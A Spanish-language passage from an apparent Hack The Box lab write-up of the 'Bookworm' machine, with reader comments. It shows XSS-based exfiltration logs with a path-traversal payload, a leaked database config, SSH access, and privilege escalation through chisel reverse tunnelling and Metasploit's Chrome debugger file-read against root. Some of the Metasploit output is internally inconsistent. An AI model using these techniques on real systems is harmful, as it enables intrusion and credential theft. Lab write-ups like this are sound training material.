Server running on http://localhost:8000                                                                                                                                                 
10.129.88.166 - - [31/May/2023 19:03:57] "GET /?trying HTTP/1.1" 200 - http://bookworm.htb/order/14
Non-ASCII characters detected!! Content written to ./temp327 file instead.                                                                                                              
10.129.88.166 - - [31/May/2023 19:03:57] "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F14 HTTP/1.1" 200 - http://bookworm.htb/order/15
Non-ASCII characters detected!! Content written to ./temp2904 file instead.                                                                                                             
10.129.88.166 - - [31/May/2023 19:03:57] "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F15 HTTP/1.1" 200 - http://bookworm.htb/order/853
Non-ASCII characters detected!! Content written to ./temp5679 file instead.                                                                               

10.129.88.166 - - [31/May/2023 19:03:57] "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F853 HTTP/1.1" 200 - http://bookworm.htb/order/13
Non-ASCII characters detected!! Content written to ./temp8824 file instead.

10.129.88.166 - - [31/May/2023 19:03:57] "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F13 HTTP/1.1" 200 - http://bookworm.htb/order/13
Non-ASCII characters detected!! Content written to ./temp9694 file instead.

10.129.88.166 - - [31/May/2023 19:03:57] "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F13 HTTP/1.1" 200 - http://bookworm.htb/order/14
Non-ASCII characters detected!! Content written to ./temp5310 file instead.

10.129.88.166 - - [31/May/2023 19:03:57] "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F14 HTTP/1.1" 200 - http://bookworm.htb/order/15
Non-ASCII characters detected!! Content written to ./temp1644 file instead.                                                                                                             
10.129.88.166 - - [31/May/2023 19:03:57] "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F15 HTTP/1.1" 200 - http://bookworm.htb/download/13?bookIds=.&bookIds=../../../../../../../../proc/self/cwd/database.js
Non-ASCII characters detected!! Content written to ./temp1960 file instead.

10.129.88.166 - - [31/May/2023 19:03:57] "POST /?url=http%3A%2F%2Fbookworm.htb%2Fdownload%2F13%3FbookIds%3D.%26bookIds%3D..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcwd%2Fdat
abase.js HTTP/1.1" 200 - http://bookworm.htb/download/15?bookIds=.&bookIds=../../../../../../../../proc/self/cwd/database.js
Non-ASCII characters detected!! Content written to ./temp7660 file instead.

10.129.88.166 - - [31/May/2023 19:03:57] "POST /?url=http%3A%2F%2Fbookworm.htb%2Fdownload%2F15%3FbookIds%3D.%26bookIds%3D..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcwd%2Fdat
abase.js HTTP/1.1" 200 - http://bookworm.htb/download/14?bookIds=.&bookIds=../../../../../../../../proc/self/cwd/database.js
Non-ASCII characters detected!! Content written to ./temp3166 file instead.

10.129.88.166 - - [31/May/2023 19:03:57] "POST /?url=http%3A%2F%2Fbookworm.htb%2Fdownload%2F14%3FbookIds%3D.%26bookIds%3D..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcwd%2Fdat
abase.js HTTP/1.1" 200 - http://bookworm.htb/order/853                                                               
Non-ASCII characters detected!! Content written to ./temp6232 file instead.

10.129.88.166 - - [31/May/2023 19:03:57] "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F853 HTTP/1.1" 200 -

10.129.88.166 - - [31/May/2023 19:03:57] "GET /?trying HTTP/1.1" 200 - null                                                                                        
Non-ASCII characters detected!! Content written to ./temp2092 file instead.

10.129.88.166 - - [31/May/2023 19:03:57] "POST /?url=null HTTP/1.1" 200 -

Obtenemos las credenciales del usuario Frank, ya que en el passwd el usuario Bookworm no existe.

const { Sequelize, Model, DataTypes } = require("sequelize");

//const sequelize = new Sequelize("sqlite::memory::");
const sequelize = new Sequelize(
  process.env.NODE_ENV === "production"
    ? {
        dialect: "mariadb",
        dialectOptions: {
          host: "127.0.0.1",
          user: "bookworm",
          database: "bookworm",
          password: "FxxxxxxxJxxxxxr",
        },
      logging: false,
      }
    : "sqlite::memory::"
);

const User = sequelize.define("User", {
  name: {
    type: DataTypes.STRING(20),
    allowNull: false,
  },
  username: {
    type: DataTypes.STRING(20),
    unique: true,
    allowNull: false,
  },
  password: {
    type: DataTypes.STRING(32),
    allowNull: false,
  },
  avatar: {
    type: DataTypes.STRING,
    allowNull: false,
  },
  addressLine1: {
    type: DataTypes.STRING(20),
    allowNull: false,
  },
  addressLine2: {
    type: DataTypes.STRING(20),
    allowNull: false,
  },
  town: {
    type: DataTypes.STRING(20),
    allowNull: false,
  },
  postcode: {`
    type: DataTypes.STRING(20),
    allowNull: false,
  },
});

const BasketEntry = sequelize.define("BasketEntry", {
  userId: DataTypes.INTEGER,
  bookId: DataTypes.INTEGER,
  quantity: DataTypes.INTEGER,
  note: DataTypes.STRING,
});

const Book = sequelize.define("Book", {
  title: DataTypes.STRING,`
  description: DataTypes.TEXT,
  price: DataTypes.DECIMAL,
  image: DataTypes.STRING,
  author: DataTypes.STRING,
  upc: DataTypes.STRING,
  publishDate: DataTypes.DATEONLY,
  language: DataTypes.STRING,
});

const Order = sequelize.define("Order", {
  userId: DataTypes.INTEGER,
  shippingAddress: DataTypes.TEXT,
  totalPrice: DataTypes.DECIMAL,
  canDownload: {
    type: DataTypes.BOOLEAN,
    allowNull: false,
    defaultValue: false,
  },
});

const OrderLine = sequelize.define("OrderLine", {
  orderId: DataTypes.INTEGER,
  bookId: DataTypes.INTEGER,
  quantity: DataTypes.INTEGER,
  note: DataTypes.STRING,
});

module.exports = {
  sequelize,
  User,
  Book,
  BasketEntry,
  Order,
  OrderLine,
};

Accedemos a la máquina y leemos la flag del usuario.

❯ ssh [email protected]
[email protected]'s password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-149-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System load:           0.12
  Usage of /:            74.6% of 6.24GB
  Memory usage:          15%
  Swap usage:            0%
  Processes:             239
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.215
  IPv6 address for eth0: dead:beef::250:56ff:feb9:c805

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

frank@bookworm:~$ cat user.txt 
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
frank@bookworm:~$ 

Escalada de privilegios (No intencionada)

Si miramos los procesos activos, el Google Chrome nos llama mucho la atención, ya que está en modo Debugging.

frank@bookworm:~$ ps faux | grep google
frank      10168  0.0  0.0   6432   656 pts/0    S+   22:43   0:00              \_ grep --color=auto google
root       10099  1.2  2.9 34024932 119148 ?     Ssl  22:43   0:00  \_ /usr/bin/google-chrome --allow-pre-commit-input --disable-background-networking --disable-background-timer-throttling --disable-backgrounding-occluded-windows --disable-breakpad --disable-client-side-phishing-detection --disable-component-extensions-with-background-pages --disable-component-update --disable-default-apps --disable-dev-shm-usage --disable-extensions --disable-features=Translate,BackForwardCache,AcceptCHFrame,MediaRouter,OptimizationHints --disable-hang-monitor --disable-ipc-flooding-protection --disable-popup-blocking --disable-prompt-on-repost --disable-renderer-backgrounding --disable-sync --enable-automation --enable-blink-features=IdleDetection --enable-features=NetworkServiceInProcess2 --export-tagged-pdf --force-color-profile=srgb --metrics-recording-only --no-first-run --password-store=basic --use-mock-keychain --headless --hide-scrollbars --mute-audio about:blank --no-sandbox --disable-background-networking --disable-default-apps --disable-extensions --disable-gpu --disable-sync --disable-translate --hide-scrollbars --metrics-recording-only --mute-audio --no-first-run --safebrowsing-disable-auto-update --remote-debugging-port=0 --user-data-dir=/tmp/puppeteer_dev_chrome_profile-stlKv1

Si miramos los puertos abiertos, podemos intuir que el Google Chrome está funcionando en el 40633, ya que utiliza puertos aleatorios.

frank@bookworm:~$ netstat -lntp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:40633         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3001          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
frank@bookworm:~$ 

Realizamos un Port Forwarding para poder explotarlo mediante chisel.

Servidor

❯ ./chisel server -p 1234 --reverse
2023/0X/XX XX:XX:XX server: Reverse tunnelling enabled
2023/0X/XX XX:XX:XX server: Fingerprint kqP7v2eYCUot9OrAWvczbPWdh+QKsk6JNVYF13HBhIA=
2023/0X/XX XX:XX:XX server: Listening on http://0.0.0.0:1234
2023/0X/XX XX:XX:XX server: session#1: tun: proxy#R:40633=>40633: Listening

Cliente

 ./chisel client 10.10.14.62:1234 R:40633:127.0.0.1:40633

Buscamos en Metasploit si hay algo contemplado sobre Google Chrome en modo debugger y en efecto hay un Arbitrary File Read.

msf6 > search chrome debug

Matching Modules
================

   #  Name                              Disclosure Date  Rank    Check  Description
   -  ----                              ---------------  ----    -----  -----------
   0  auxiliary/gather/chrome_debugger  2019-09-24       normal  No     Chrome Debugger Arbitrary File Read / Arbitrary Web Request

Interact with a module by name or index. For example info 0, use 0 or use auxiliary/gather/chrome_debugger

msf6 > use 0

Ponemos los parámetros que nos indica el exploit y lo ejecutamos.

msf6 auxiliary(gather/chrome_debugger) > options

Module options (auxiliary/gather/chrome_debugger):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   FILEPATH                   no        File to fetch from remote machine.
   RHOSTS                     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT     9222             yes       The target port (TCP)
   TIMEOUT   10               yes       Time to wait for response
   URL                        no        Url to fetch from remote machine.

View the full module info with the info, or info -d command.

msf6 auxiliary(gather/chrome_debugger) > cat credentials.txt
[*] exec: cat credentials.txt

bookworm -> FrankTh3JobGiver
msf6 auxiliary(gather/chrome_debugger) > set FILEPATH /root/root.txt
FILEPATH => /root/.ssh/id_rsa
msf6 auxiliary(gather/chrome_debugger) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 auxiliary(gather/chrome_debugger) > set RPORT 34839
RPORT => 34839
msf6 auxiliary(gather/chrome_debugger) > run
[*] Running module against 127.0.0.1

[*] Attempting Connection to ws://127.0.0.1:40633/devtools/page/71D41CD17C47E63ABC4568C1CE507AF3
[*] Opened connection
[*] Attempting to load url file:///root/root.txt
[*] Received Data
[*] Sending request for data
[*] Received Data
[+] Stored file:///root/root.txt at /home/mrx/.msf4/loot/XXXXXXXXXXXX_default_127.0.0.1_chrome.debugger._778257.txt
[*] Auxiliary module execution completed
msf6 auxiliary(gather/chrome_debugger) >

Leemos el archivo guardado por el exploit y obtenemos la flag del usuario root.

❯ ncat /home/mrx/.msf4/loot/20230602013038_default_127.0.0.1_chrome.debugger._778257.txt
<html><head><meta name="color-scheme" content="light dark"></head><body><pre style="word-wrap: break-word; white-space: pre-wrap;">d5aXXXXXXXXXXXXXXXXXXXXXXXXXXXX61
pre></body></html>
11 thoughts on “Bookworm – HTB”
  1. Excelente tu contenido da mucha ayuda, no se si me podrias dar algunos tips estoy tratando de hacer esta maquina pero no logro inyectar el script.js no se que estoy haciendo mal

    1. El primer paso es que te llegue tu propia petición, en caso de que no consigas inyectar el script.js prueba a enviarte una petición en JS para que se descargue el archivo desde tu máquina. Es otra forma de hacerlo que en teoría te debería de funcionar. Cualquier otra duda escríbeme un comentario, espero haber sido de ayuda.

  2. Cuando te referis a Servidor es tu maquina host y el cliente es frank? como haces para ejecutar chisel en la maquina de frank? no logro conseguir un binario o instalarlo con golang, intente cualquier otra alternativa con socat, nc o ssh pero no tengo suerte, lo que mas me aproxime fue con ssh pero sigo sin tener exito, que puede ser?

  3. Esta todo bien lo único cunado ejecuto el XSS no da la respuesta de
    const downloadURL = downloadLink ? downloadLink.href.substring(1, downloadLink.href.lastIndexOf(“=”) + 1) + “.&bookIds=../../../../../../../../proc/self/cwd/database.js” : null; de ninguna ruta

    Puedes explicar me lo que falta.

    Gracias

Leave a Reply

Your email address will not be published. Required fields are marked *